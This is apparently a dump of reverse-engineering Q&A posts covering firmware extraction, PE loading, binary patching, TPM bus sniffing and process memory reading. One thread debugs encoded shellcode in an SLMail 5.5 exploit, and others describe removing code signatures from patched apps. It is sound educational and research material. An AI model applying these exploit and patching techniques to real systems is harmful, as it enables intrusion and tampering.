        "Answer": "<p>The next step is extraction of the kernel and squashfs filesystem using the <code>-e</code> option when using <code>binwalk</code>. These extracted files can then be further analyzed. Running <code>binwalk</code> with the <code>-A</code> option on the bootloader and kernel files will provide clues about the instruction set architecture of the firmware. Performing an entropy scan with <code>-E</code> can be done to gain insight into the structure of the extracted files and is useful for identifying compressed or encrypted regions. </p>\n\n<p>A variety of tools exist for the purpose of squashfs filesystem extraction, such as <a href=\"https://github.com/plougher/squashfs-tools\" rel=\"nofollow noreferrer\">squashfs-tools</a> and <a href=\"https://github.com/devttys0/sasquatch\" rel=\"nofollow noreferrer\">sasquatch\n</a>. </p>\n\n<p>A good example of the methodology employed in firmware analysis can be found here: <a href=\"http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/\" rel=\"nofollow noreferrer\">Reverse Engineering Firmware: Linksys WAG120N</a></p>\n\n<p><em>Update after firmware download link was made available:</em></p>\n\n<p>To ensure that <code>binwalk</code> can properly extract SquashFS filesystem images, follow these steps:</p>\n\n<ol>\n<li><p>Install <code>squashfs-tools</code>:</p>\n\n<p><code>sudo apt-get install squashfs-tools</code></p></li>\n<li><p>In ~, clone <code>sasquatch</code> from github:</p>\n\n<p><code>git clone https://github.com/devttys0/sasquatch.git</code></p></li>\n<li><p>In <code>~/sasquatch</code>, execute <code>build.sh</code> (check <code>README.md</code> to make sure all the dependencies are installed)</p></li>\n</ol>\n\n<p>Also check the version of <code>binwalk</code> installed locally:</p>\n\n<pre><code>$ binwalk\n\nBinwalk v2.1.2b\nCraig Heffner, http://www.binwalk.org\n</code></pre>\n\n<h2>Extraction</h2>\n\n<p><strong>Compute md5sum of firmware binary:</strong></p>\n\n<pre><code>$ md5sum FW_E1200v2.0.7.005_US_20160713_code.bin \neb3752a5b72ccb0c9a92079fab88663e  FW_E1200v2.0.7.005_US_20160713_code.bin\n</code></pre>\n\n<p><strong>Run <code>binwalk</code> signature scan to confirm output:</strong></p>\n\n<pre><code>$ binwalk FW_E1200v2.0.7.005_US_20160713_code.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n32            0x20            TRX firmware header, little endian, image size: 7684096 bytes, CRC32: 0xB533F216, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x14FF20, rootfs offset: 0x0\n60            0x3C            gzip compressed data, maximum compression, has original file name: \"piggy\", from Unix, last modified: 2016-07-13 03:17:53\n1376064       0x14FF40        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6307458 bytes, 1721 inodes, blocksize: 65536 bytes, created: 2016-07-13 03:23:19\n</code></pre>\n\n<p>Output appears to match output in the original post.</p>\n\n<p><strong>Extraction:</strong></p>\n\n<pre><code>$ binwalk -e FW_E1200v2.0.7.005_US_20160713_code.bin \n</code></pre>\n\n<p>Files are extracted to directory <code>_FW_E1200v2.0.7.005_US_20160713_code.bin.extracted/</code>:</p>\n\n<pre><code>$ file *\n14FF40.squashfs: data\npiggy:           FoxPro FPT, blocks size 0, next free block index 15993608\nsquashfs-root:   directory \n</code></pre>\n\n<p>Inside <code>squashfs-root</code> is the extracted filesystem:</p>\n\n<pre><code>$ ll squashfs-root/\ntotal 88\ndrwxrwxrwx 13 user01 user01  4096 Jul 12  2016 ./\ndrwxr-xr-x  3 user01 user01  4096 Jun 26 15:16 ../\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 bin/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 dev/\ndrwxrwxrwx  4 user01 user01  4096 Jul 12  2016 etc/\ndrwxr-xr-x  3 user01 user01  4096 Jul 12  2016 lib/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 mnt/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 proc/\ndrwxr-xr-x  2 user01 user01 12288 Jul 12  2016 sbin/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 sys/\ndrwxr-xr-x  2 user01 user01  4096 Jul 12  2016 tmp/\ndrwxrwxrwx  6 user01 user01  4096 Jul 12  2016 usr/\nlrwxrwxrwx  1 user01 user01     7 Jun 26 15:16 var -&gt; tmp/var\ndrwxr-xr-x 32 user01 user01 28672 Jul 12  2016 www/\n</code></pre>\n\n<h2>piggy</h2>\n\n<p>Running <code>file</code> against <code>piggy</code> produces a false positive:</p>\n\n<pre><code>piggy:           FoxPro FPT, blocks size 0, next free block index 15993608\n</code></pre>\n\n<p>Running <code>binwalk</code> against <code>piggy</code> suggests that it contains Linux kernel code:</p>\n\n<pre><code>$ binwalk piggy \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2617344       0x27F000        Linux kernel version \"2.6.22 (zhang@sw3) (gcc version 4.2.3) #5 Tue Jun 7 18:33:13 HKT 2016\"\n2641040       0x284C90        CRC32 polynomial table, little endian\n2656556       0x28892C        CRC32 polynomial table, little endian\n2852300       0x2B85CC        Unix path: /usr/gnemul/riscos/\n2854956       0x2B902C        Unix path: /usr/lib/libc.so.1\n2927975       0x2CAD67        Neighborly text, \"NeighborSolicitsts\"\n2927999       0x2CAD7F        Neighborly text, \"NeighborAdvertisementsmp6OutDestUnreachs\"\n2928200       0x2CAE48        Neighborly text, \"NeighborSolicitsirects\"\n2928228       0x2CAE64        Neighborly text, \"NeighborAdvertisementssponses\"\n2930275       0x2CB663        Neighborly text, \"neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)\"\n</code></pre>\n\n<p>An entropy plot produced by <code>binwalk -EJ piggy</code> reveals a large contiguous area with an entropy of roughly .68: </p>\n\n<p><a href=\"https://i.stack.imgur.com/CfR7f.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CfR7f.png\" alt=\"piggy entropy\"></a></p>\n\n<p>This level of entropy is consistent with what is expected of regions containing object code.</p>\n\n<p>We can make an educated guess about what the instruction set architecture of the binary is by running <code>binwalk</code> with the <code>-A</code> argument:</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n1788          0x6FC           MIPSEL instructions, function epilogue\n2636          0xA4C           MIPSEL instructions, function epilogue\n4540          0x11BC          MIPSEL instructions, function epilogue\n4932          0x1344          MIPSEL instructions, function epilogue\n6092          0x17CC          MIPSEL instructions, function epilogue\n6476          0x194C          MIPSEL instructions, function epilogue\n6952          0x1B28          MIPSEL instructions, function epilogue\n7040          0x1B80          MIPSEL instructions, function epilogue\n8024          0x1F58          MIPSEL instructions, function epilogue\n8392          0x20C8          MIPSEL instructions, function epilogue\n9532          0x253C          MIPSEL instructions, function epilogue\n9840          0x2670          MIPSEL instructions, function epilogue\n12552         0x3108          MIPSEL instructions, function epilogue\n12682         0x318A          MIPS instructions, function epilogue\n12836         0x3224          MIPSEL instructions, function epilogue\n13364         0x3434          MIPSEL instructions, function epilogue\n</code></pre>\n\n<p>The ISA is likely MIPS little-endian.</p>\n"
    },
    {
        "Id": "15681",
        "CreationDate": "2017-06-26T18:49:30.603",
        "Body": "<p>All Portable Executable files that I've found with zero imports in the Import Address Table have not functioned. I also know that while .NET files often do not have the typical OS imports, they must still import either <code>_CorExeMain</code> or <code>RHBinder__ShimExeMain</code>.</p>\n\n<p>Lastly, even packed files, while they will not have the main modules' imports, will still have imports necessary to start and unpack the file. <em>Is it possible for a .exe PE file to have absolutely zero imports but still run and perform any useful function on a machine?</em></p>\n\n<p><strong>Please note</strong>: I am not talking about DLL files which are used by other executables for their function exports. I am talking about a standalone .exe file.</p>\n",
        "Title": "Is it possible for a .exe PE file to do something without any imports at all?",
        "Tags": "|pe|executable|",
        "Answer": "<p>Yes, it is <em>possible</em> but may depend on the OS you're trying to run it on. From the <a href=\"http://www.phreedom.org/research/tinype/\" rel=\"noreferrer\">TinyPE page</a> by  Alexander Sotirov:</p>\n\n<blockquote>\n  <p>Unfortunately the 97 byte PE file does not work on Windows 2000. This\n  is because the loader tries to call a function from KERNEL32, but\n  KERNEL32.DLL is not loaded. All other versions of Windows load it\n  automatically, but on Windows 2000 we have to make sure that\n  KERNEL32.DLL is listed in the import table of the executable.\n  Executing a PE file with no imports is not possible.</p>\n</blockquote>\n\n<p>So, if you use XP or above you can rely on kernel32 being in memory and use its functions. I suspect (but did not check) that even on Windows 2000 the <strong><code>ntdll.dll</code></strong> is mapped by the kernel, so you may be able to use it to do useful work (e.g. <code>LdrLoadDll</code> to load other DLLs and <code>LdrGetProcedureAddress</code> to resolve functions).</p>\n"
    },
    {
        "Id": "15685",
        "CreationDate": "2017-06-27T01:26:09.567",
        "Body": "<p>I'm trying to access the filesystem of the EA2750's firmware. Here is a link to download it <a href=\"http://downloads.linksys.com/downloads/firmware/FW_EA2750_1.1.7.172380_prod.img\" rel=\"nofollow noreferrer\">http://downloads.linksys.com/downloads/firmware/FW_EA2750_1.1.7.172380_prod.img</a>. The problem is it is an <code>img</code> file and I'm not exactly sure how to go about trying to access it. </p>\n\n<p>Here is the <code>binwalk</code> signature scan output:</p>\n\n<pre><code>$ binwalk FW_EA2750_1.1.7.172380_prod.img \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             uImage header, header size: 64 bytes, header CRC: 0x143599, created: 2016-05-04 16:53:12, image size: 1935492 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0x57C547E2, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: \"Linksys EA2750 Router\"\n64            0x40            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5956532 bytes\n1966080       0x1E0000        JFFS2 filesystem, little endian\n</code></pre>\n",
        "Title": "Need help extracting JFFS2 filesystem from .img firmware binary",
        "Tags": "|binary-analysis|firmware|",
        "Answer": "<p>Use the command <code>binwalk -Me FW_EA2750_1.1.7.172380_prod.img</code></p>\n\n<p>This will recursively extract all files and even extract the JFFS2 filesystem into the folder <code>_FW_EA2750_1.1.7.172380_prod.img.extracted/jffs2-root/fs_1</code></p>\n\n<p><strong>Edit:</strong> As to your jefferson issue, I believe you need to install cstruct 1.0. So.. <a href=\"https://github.com/sviehb/jefferson/issues/9\" rel=\"nofollow noreferrer\">https://github.com/sviehb/jefferson/issues/9</a></p>\n"
    },
    {
        "Id": "15686",
        "CreationDate": "2017-06-27T05:22:03.283",
        "Body": "<p>I have been thinking about it lately and was wondering if a Man In The Middle attack could be established physically on a motherboard.</p>\n\n<p>The goal would be to intercept the signals between two components and to manipulate the signals as well. I assume this could be done through drilling holes in the circuit, and having a separate device bridge a new connection.</p>\n\n<p>Would this be possible?</p>\n\n<p>Thanks.</p>\n",
        "Title": "MITM a Connection Between Components on a Motherboard",
        "Tags": "|physical-attacks|",
        "Answer": "<p>I remember seeing a <a href=\"https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/\" rel=\"nofollow noreferrer\">brute forcing device for iPhones a little while ago</a>. There is also a device out there for breaking BIOS passwords on certain thinkpads by connecting to an IC of some sort but I can't find the article.</p>\n\n<p>Although those methods probably differ in some aspects from a MITM attack, the way you describe would seem perfectly valid based on those devices.</p>\n"
    },
    {
        "Id": "15691",
        "CreationDate": "2017-06-27T08:48:07.587",
        "Body": "<p>I am currently learning and I wanted to ask, how can I change a text (string) from inside an app I am reversing? For example \"To begin, please login\". I have found the XREF to the string location but I don't know how to change it. I am using Hopper Disassembler on mac.</p>\n",
        "Title": "Changing strings in Hopper Disassembler",
        "Tags": "|patch-reversing|hopper|",
        "Answer": "<p>You can modify strings or other bytes within the hex editor (\u21e7\u2318H) or click on the hex edit panel. </p>\n\n<p><a href=\"https://i.stack.imgur.com/0sCn1.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/0sCn1.png\" alt=\"hexedit panel\"></a></p>\n\n<p>Then modify whatever you want</p>\n\n<p><a href=\"https://i.stack.imgur.com/3x01C.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/3x01C.png\" alt=\"edit bytes\"></a>\nYou'll need to write a new executable back (\u21e7\u2318E) if you want to save it. Also, be aware that if it is a signed binary, you will need to remove any code signature or resign it as the binary won't match the signature after a change.</p>\n"
    },
    {
        "Id": "15709",
        "CreationDate": "2017-06-28T19:36:14.980",
        "Body": "<h3>Background</h3>\n<p>In my endeavor to RE my router, I'm trying to emulate a router's firmware inside a QEMU MIPS system. I have debian-mips installed to a virtual disk that runs just fine. Its a MIPS32 Big Endian system. I don't have any issue with the debian system. I have extracted the root file-system and uploaded it to the debian-mips system.</p>\n<h3>Issue</h3>\n<p>My issue is when I attempt to run any of the binaries from the router firmware:</p>\n<pre><code>root@debian-mips:~/firm# chroot . ./bin/busybox.old \n./bin/busybox.old: can't load library 'libcms_boardctl.so'\n</code></pre>\n<p>However, I know it's there:</p>\n<pre><code>root@debian-mips:~/firm# ls -l ./lib/public/\ntotal 1512\n-rwxrwxrwx 1 root root    7280 Jun 28 18:27 libcms_boardctl.so\n-rwxrwxrwx 1 root root   11320 Jun 28 18:27 libcms_msg.so\n-rwxrwxrwx 1 root root  148944 Jun 28 18:27 libcms_util.so\n-rwxrwxrwx 1 root root 1083432 Jun 28 18:27 libcrypto.so.0.9.8\n-rwxrwxrwx 1 root root  275712 Jun 28 18:27 libssl.so.0.9.8\n</code></pre>\n<p>Maybe my google-fu is lacking, but there is not much information on the internet about chrooting MIPS environments. Thank you for your time.</p>\n<p>Edit add'l file info:</p>\n<pre><code>root@debian-mips:~/firm# file public/libcms_boardctl.so \npublic/libcms_boardctl.so: ELF 32-bit MSB shared object, MIPS, MIPS32 version 1 (SYSV), dynamically linked, corrupted section header size\n</code></pre>\n",
        "Title": "library issue when running mips binary in a chrooted environment",
        "Tags": "|firmware|linux|mips|qemu|emulation|",
        "Answer": "<p>Well I'm not sure why this is the answer but inside /lib are two directories: ./lib/public and ./lib/private</p>\n\n<p>Simply running the command <code>cp -r ./lib/public/* ./lib/private/* ./lib</code> will allow your binaries to function properly. </p>\n\n<p>Hopefully this question will help anyone who comes across my issue in the future as I could not find another instance of this event occurring. If someone has more information why this happens please leave me a comment :)</p>\n"
    },
    {
        "Id": "15712",
        "CreationDate": "2017-06-28T22:00:42.033",
        "Body": "<p>Playing with the debugger x64dbg, I noticed that my application uses multiple threads as shown below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/qcWpF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qcWpF.png\" alt=\"threads\"></a></p>\n\n<p>Among them, one thread is certainly used for the window, as the application is a window application.</p>\n\n<p>The strange thing is that <strong>the EIP never changes</strong>.</p>\n\n<p>However, moving the window or write in it must change the EIP right? As the thread responsible for the window must run continuously in order to prevent the window from freezing.</p>\n\n<p>Can you explain why the EIP never changes? Is it related to x64dbg?</p>\n\n<p>Thanks !</p>\n",
        "Title": "Window application - Does the debugger stop the window thread?",
        "Tags": "|debugging|",
        "Answer": "<p>Each user thread has its own instruction pointer, as all registers are saved and reloaded with new data when a thread switch occurs. <a href=\"https://en.wikipedia.org/wiki/Thread_(computing)#User_threads\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Thread_(computing)#User_threads</a>  You can confirm this on x64dbg by clicking &quot;switch thread&quot; on a new thread in the Threads tab and then viewing the new instruction pointer in the CPU tab.</p>\n<p>So, if there is action on a particular thread that you don't believe you are seeing, it might be because you are not viewing the disassembly for the correct thread.  This means that you need to know which thread is performing the action in advance.</p>\n<p>In analyzing one program, I set breakpoints within the code of each thread displayed in the Threads window to see what would happen when I interacted with a pop-up window in the debuggee.  Taking care that the inserted breakpoints were located immediately after each thread's instruction pointer, I found that I succeeded in freezing the debuggee's main window, necessitating a complete logout to recover.  So far, though, I can't isolate the code launched by the pop-up window.  Maybe I need a conditional breakpoint?</p>\n<p>I tried setting up a trace while the debuggee was open, hoping to catch the action generated by the pop-up window, but x64dbg threw an error: &quot;Failed to start trace!&quot;</p>\n<p>Any ideas?</p>\n"
    },
    {
        "Id": "15714",
        "CreationDate": "2017-06-29T09:55:57.300",
        "Body": "<p>I\u2019m not quite sure whether this is the right website to post this on but...</p>\n\n<p>I want to try and dump sequence data from a Casio Keyboard default soundbank</p>\n\n<p>I believe it\u2019s stored on a ROM chip of some description, but I\u2019m not sure which one.</p>\n\n<p>I have no idea how this would be done, but I\u2019m interested to learn how.</p>\n\n<p>Thanks</p>\n",
        "Title": "Dump Sequence Data from Casio electronic keyboard",
        "Tags": "|hardware|dumping|",
        "Answer": "<h3>First Step: Research</h3>\n<p>First off just do some research on your product. See if anyone has done any research or reverse engineering on your particular keyboard model. If no one has done any work on it before you will have to venture off on your own.</p>\n<h3>Second Step: Disassembly</h3>\n<p>You will probably need to open up the keyboard if the developers didn't include some kind  of external debugging port. When you open the case of the keyboard, take pictures of exactly how you took it apart so you can reassemble it.</p>\n<h3>Third Step: Debugging Port</h3>\n<p>Once it's apart you will want to look for some kind of debugging pins or headers. Most of the time this comes in the form of JTAG headers. There is plenty of information on the internet of how to interface with these.</p>\n<h3>Fourth Step: Being Creative</h3>\n<p>If you don't believe there is a debugging interface that could become tricky. We know the information is on the circuit board we just need to discover where it is. Look for either some form of flash memory component or a chip with several pins coming out of it. Sometimes manufacturers purposely prevent people from reverse engineering their product. This comes in the form of <a href=\"https://electronics.stackexchange.com/questions/9137/what-kind-of-components-are-black-blobs-on-a-pcb\">Glob top</a> and other nefarious methods.</p>\n<p>If you want you can post some more information about your keyboard (dissassembly pictures, model number, serial numbers, etc..) and the site can help you out more. Don't get discouraged if all of this feels overwhelming.</p>\n"
    },
    {
        "Id": "15717",
        "CreationDate": "2017-06-29T12:58:27.847",
        "Body": "<p>I have a signed mac app and I don't have the source code of the app.\nI know address locations of some assembly instructions which I need to change so as to make this app to work in certain way. So I'm trying to write a patcher, which should be able to read the assembly of original mac app and change those addresses and produce new mac app with no signature. </p>\n\n<p>This patcher should be a stand alone mac app.\nThe patcher should patch the original app and produce the modified one.</p>\n\n<p>How can I do this? I just need some guidance to write this patcher.   </p>\n",
        "Title": "Creating a patcher for a mac app",
        "Tags": "|disassembly|assembly|osx|",
        "Answer": "<p>There are several aspects for this:</p>\n\n<ul>\n<li>if the app is not protected with some sort of packaging\n\n<ul>\n<li>you just need to find the place that you want to patch with the help of debugger (when the app is running) or static disassembler (otool, hopper disassembler, ida disassembler)</li>\n<li>understand how many bytes your patch takes (for example with online <a href=\"https://defuse.ca/online-x86-assembler.htm\" rel=\"nofollow noreferrer\">tool</a>)</li>\n<li>understand how many space you have in the original app. Every disassembler will show you or use the above tool as well</li>\n<li>use any hex editor (<a href=\"http://ridiculousfish.com/hexfiend/\" rel=\"nofollow noreferrer\">hex fiend</a>) to patch the file with the bytes you've got from (1).</li>\n<li>if there is enough space for the patch, you apply it and the left space fill with <code>nop</code> instruction</li>\n<li>if there is not, you will need to find that space by:\n\n<ul>\n<li>splitting your patch in several parts (there are always caves between functions or at the end of the section)</li>\n<li>or allocate your own section and fill in your code. In that case, you will also need to edit the file adder to account for a new section.</li>\n</ul></li>\n</ul></li>\n<li>if the app is packed or protected in any way from patching, then you can not just patch it on disk just like that. You'll need to unpack it, patch as explained above and repack (or not) back.\n\n<ul>\n<li>or you can create runtime patcher in this case, which is more complicated to do. </li>\n</ul></li>\n</ul>\n\n<p>UPDATE:</p>\n\n<p>To automate the on-disk patching, one can use a pretty easy way which is based on some pattern matching and a little bit of heuristics:</p>\n\n<ul>\n<li>with the help of disassembler try to find some distinguishable bytes before the patch area </li>\n<li>do the same for the area after the patch area</li>\n<li>if appropriate, find the same for the patch itself:\n\n<ul>\n<li>for example if there is a control flow change, try to analyze the target of that change for some pattern.</li>\n</ul></li>\n</ul>\n\n<p>All the above will be sufficient (hopefully) to accommodate version changes and assure that you change at the right place. Such patcher could be easily coded with Python. For disassembling you can use <a href=\"http://www.capstone-engine.org\" rel=\"nofollow noreferrer\">Capstone</a> library which has Python binding.</p>\n\n<p>Take into account that, you fill make OSX complain about this patched app as it will not be signed any more.</p>\n"
    },
    {
        "Id": "15728",
        "CreationDate": "2017-06-30T20:14:56.960",
        "Body": "<p>Is there a way to dump a section of process memory knowing the start and end address to raw bin file via a winapi function or some other method? I know that you can do this easily with a debugger, but that's not what I'm looking for.</p>\n",
        "Title": "Dumping Memory to Raw File",
        "Tags": "|winapi|dumping|memory-dump|",
        "Answer": "<p>you can craft a powershell script in case of emergency  (no python no internet only base machine cant install anything whatever )   </p>\n\n<p>the code below is rubbish hack you may need to declare proper managed types    etc to make it robust it is just to show an idea   </p>\n\n<pre><code>$procid = (Get-Process -Name $args[0]).Id\n$baseaddr = (Get-Process -Name $args[0] -Module)[0].BaseAddress;\n$signature = @\"\n[DllImport(\"kernel32.dll\")] public static extern IntPtr OpenProcess(\n    uint h,bool b ,uint p);\n[DllImport(\"kernel32.dll\")] public static extern bool ReadProcessMemory(\n    IntPtr hp,IntPtr Base,[Out]Byte[] buff,int Size,[Out]int bread);\n\"@\n$rpm = Add-Type -MemberDefinition $signature -Name rpm -PassThru\n[Byte[]] $buff = New-Object Byte[](256)\n[int]$bread =0;\n$proc = $rpm::OpenProcess(0x001F0FFF,0,$procid);\n$read = $rpm::ReadProcessMemory($proc,$baseaddr,$buff,256,$bread);\n$a = \"\";\n$a+=[char[]]$buff[0..1]+[char[]]$buff[78..118]\n$procid\n\"{0:X}\" -f [int]$baseaddr\n$a\n</code></pre>\n\n<p>running it like </p>\n\n<pre><code>powershell -f foo.ps1 note*\n3388\n8D0000\nM Z T h i s   p r o g r a m   c a n n o t   b e   r u n   i n   D O S   m o d e .\n\npowershell -f foo.ps1 exp*\n304\nC40000\nM Z T h i s   p r o g r a m   c a n n o t   b e   r u n   i n   D O S   m o d e .\n</code></pre>\n"
    },
    {
        "Id": "15731",
        "CreationDate": "2017-07-01T05:10:47.723",
        "Body": "<p>As you may know, the TPM (Trusted Platform Module), which resides on the LPC bus, allows the storage and retrieval of encryption keys and certificates securely.</p>\n\n<p>Within this Trusted Computing concept, however, is it <em>actually</em> secure? (Base-line question, please keep reading)</p>\n\n<p>I have found that TPM 1.1 transmits encryption keys and certificates over the LPC bus in plain text. (1)</p>\n\n<p>Is this true for recent versions of TPMs (1.2, 2.0)? If not, how is it that they've mitigated this issue? I see no way for this to be feasibly fixed.</p>\n\n<p>Thank you.</p>\n\n<p>1: \"The authors (Schellekens et al.) of [an LPC MITM attack with a TPM] passively analyzed the communication of version 1.1 TPMs with the remaining platform and observed that certain operations like unsealing used to transmit TPM protected secrets in plain over the LPC bus.\" ~ A Hijacker\u2019s Guide to the LPC Bus, page 186</p>\n",
        "Title": "Do TPMs Send Stored Keys in Plaintext?",
        "Tags": "|encryption|physical-attacks|",
        "Answer": "<p>As far as I know, TPM 1.2 has something called Transport Protection/Security to establish a secure channel with the TPM but it's difficult to find documentation on it. It is most probably some variant on key exchange.</p>\n\n<p>Now of course a secure channel is useless per-se because you can still swap the TPM with a tempered oned. Thus a TPM comes with what is called the <a href=\"https://technet.microsoft.com/en-us/library/cc770443(v=ws.11).aspx\" rel=\"nofollow noreferrer\">endorsement key</a>. The idea is that each TPM chip has a private key burned by the manufacturer and never released. When the machine is assembled, the manufacturer will typically burn some kind of signature for this specific TPM in the OTP part of the CPU. That way the CPU can send a challenge to the TPM to make sure it is legitimate. That together with the secure channel reduces the hardware attack surface a lot (but not completely). Note that there are all kinds of issues with the endorsement key, such as how to do you know the manufacturer did not give the key to the NSA behind your back.</p>\n\n<p>It should be noted that there is trend to put the TPM directly into the CPU/PCH which makes it much harder to temper with. Another common thing is to the implement the TPM in software (fTPM) in a secure environment (such as TEE) based on SGX (x86) or TrustZone (ARM) for example.</p>\n"
    },
    {
        "Id": "15732",
        "CreationDate": "2017-07-01T06:04:46.370",
        "Body": "<p>I'm new to using x32/64dbg and I have an EXE with PDB symbols and want to disassemble and debug an unmanaged function call. It's from an x86 .NET 2.0 DLL where the unmanaged code sits compiled inside the EXE.</p>\n\n<p>I have looked up the internal call that I want to debug in the symbols, and set up breakpoints on the entry and exit of the function. </p>\n\n<p>The function takes a set of 3 32-bit floats in the .NET DLL method call as inputs through an internal call that runs some calculations and then outputs a set of 4 32-bit floats back to .NET. </p>\n\n<p>The function basically does a few sin/cos/atan2 calls on the parameters, along with some other math that I want to review for accuracy. Is there a way to read the parameter values as floats? I couldn't seem to find this in the docs anywhere. Basically I just need to get the values of the inputs and outputs to the function.</p>\n\n<p>In the lack of finding a method I tried to whip up a quick app to input 4 bytes as hex and output the sign/exponent/significand based on some docs here (<a href=\"https://msdn.microsoft.com/en-us/library/system.single(v=vs.110).aspx\" rel=\"nofollow noreferrer\">https://msdn.microsoft.com/en-us/library/system.single(v=vs.110).aspx</a>) but my results aren't matching up with the app's input, I'm sure I'm not doing something right.</p>\n\n<p>Disassembly of the function looks like so:</p>\n\n<pre><code>push ebp\nmov ebp,esp\nmov eax,dword ptr ss:[ebp+8]\nsub esp,10\npush 4\npush eax\nlea ecx,dword ptr ss:[ebp-10]\npush ecx\ncall &lt;testapp.ConversionFunction&gt;\nmovq xmm0,qword ptr ds:[eax]\nmov ecx,dword ptr ss:[ebp+C]\nmovq dword ptr ds:[ecx],xmm0\nmovq xmm0,qword ptr ds:[eax+8]\nadd esp,C\nmovq qword ptr ds:[ecx+8],xmm0\nmov esp,ebp\npop ebp\nret\n</code></pre>\n",
        "Title": "Viewing 32-bit floats in Internal Call disassembly from .NET 2.0 DLL in x64dbg",
        "Tags": "|disassembly|float|",
        "Answer": "<p>After a little digging I got it. Right click your Dump to change data types between address and float. You have to follow the address of the address pointed to by esp-4 to get the parameters.</p>\n"
    },
    {
        "Id": "15745",
        "CreationDate": "2017-07-02T05:50:08.973",
        "Body": "<p>I'm trying to understand the exploit for SLMail 5.5.</p>\n\n<p>Here is the basic flow :</p>\n\n<ol>\n<li>I'm able to control EIP and point to an instruction \"JMP ESP\"</li>\n<li>ESP is pointing to the exact start position of my shellcode.\n(Shell code is encoded with shikata_ga_nai encoder in msfvenom)</li>\n<li>As ESP is pointing to the exact location which I want, I feel I don't think nop slide is required.But i'm seeing wired results when nop is not used.I hope some can shed some light on this.</li>\n</ol>\n\n<p>4) Below are the first few instructions that my shellcode has without NOP slide, as soon as the highlighted <strong>weird instruction</strong> is executed, the instructions in the memory are getting changed (So weird!!)</p>\n\n<pre><code>0159A128   BF A849F49D      MOV EDI,9DF449A8\n0159A12D   D9E5             FXAM\n0159A12F   D97424 F4        FSTENV (28-BYTE) PTR SS:[ESP-C] &lt;-- Weird instruction\n0159A133   5B               POP EBX\n0159A134   33C9             XOR ECX,ECX\n0159A136   B1 52            MOV CL,52\n0159A138   317B 12          XOR DWORD PTR DS:[EBX+12],EDI\n0159A13B   83EB FC          SUB EBX,-4\n0159A13E   03D3             ADD EDX,EBX\n</code></pre>\n\n<p>My memory looks this after the execution of the highlighted instruction:</p>\n\n<pre><code>0159A12F   0100             ADD DWORD PTR DS:[EAX],EAX\n0159A131   0000             ADD BYTE PTR DS:[EAX],AL\n0159A133   0000             ADD BYTE PTR DS:[EAX],AL &lt;--Jumping here after the weird instruction\n0159A135   00FF             ADD BH,BH\n0159A137   FF31             PUSH DWORD PTR DS:[ECX]\n0159A139   7B 12            JPO SHORT 0159A14D\n0159A13B   83EB FC          SUB EBX,-4\n0159A13E   03D3             ADD EDX,EBX\n</code></pre>\n\n<p>But with NOP slide appended to the shellcode, the below instruction which is actually in the line of execution gets excuted weithouit any hassle and making the exploit to work.... </p>\n\n<pre><code>0159A133   5B               POP EBX\n</code></pre>\n\n<p>Can anyone explain why I need NOP slide to stop this weird behavior.\nThank You.</p>\n",
        "Title": "Why shell code only with nop slide working for me?",
        "Tags": "|exploit|metasploit|",
        "Answer": "<p>Let's look up what the <a href=\"http://x86.renejeschke.de/html/file_module_x86_id_119.html\" rel=\"noreferrer\">\"weird instruction\"</a> does:</p>\n\n<blockquote>\n  <p>Saves the current FPU operating environment <strong>at the memory location\n  specified with the destination operand</strong>, and then masks all\n  floating-point exceptions. The FPU operating environment consists of\n  the FPU control word, status word, tag word, instruction pointer, data\n  pointer, and last opcode</p>\n</blockquote>\n\n<p>In our case, the destination is <code>ESP-C</code>, which is 12 bytes before the start of the code (if code starts at <code>ESP</code>). Since the FPU state is 28 bytes, it goes further and <em>overwrites the beginning of shellcode</em> with the FPU values. If you add a NOP sled, the sled gets overwritten which has no effect because it won't be executed again. Without the sled, the <em>currently executing instructions</em> are overwritten which breaks the shellcode.</p>\n\n<p>Apparently <code>FSTENV</code> is used as a part of the \"getpc\" primitive (one of the values stored is the current <code>EIP</code>) and it requires some stack space for the environment. So you need to ensure that either you have free space around <code>ESP</code> or add a NOP sled for padding. Or you can try modifying the encoder to use a more common call $+5/pop ebx sequence which would overwrite only one dword at ESP.</p>\n"
    },
    {
        "Id": "15747",
        "CreationDate": "2017-07-02T12:19:00.777",
        "Body": "<p>Many applications (in particular most games) offer a set of resolutions to choose from. Some of them are pretty open and allow basically every resolution the underlying system seems to be capable of, others are pretty restrictive and offer just a small set of resolutions. If the difference between offered and native resolution is too big, the application becomes hardly usable.</p>\n\n<p>On my search for a solution, the amount of resolution-mods available and especially <a href=\"http://www.wsgf.org/forums/viewtopic.php?t=28001\" rel=\"nofollow noreferrer\">this thread</a> made me curious: How does one find out where an application stores the resolutions it allows? And also, how does one find out what to insert instead?</p>\n\n<p>Remark: I legally own (bought) the installers for all applications I want to experiment with. They are sold DRM-free and I do not redistribute any parts, it's just for my personal use. Therefore I assume, that my intent is perfectly valid.</p>\n\n<p>EDIT: @BrandonBryant's comment made me realize that my question is to broad and I apologize for this. I don't think that I can improve my question much, since I don't really know what to ask for specifically. If it's not 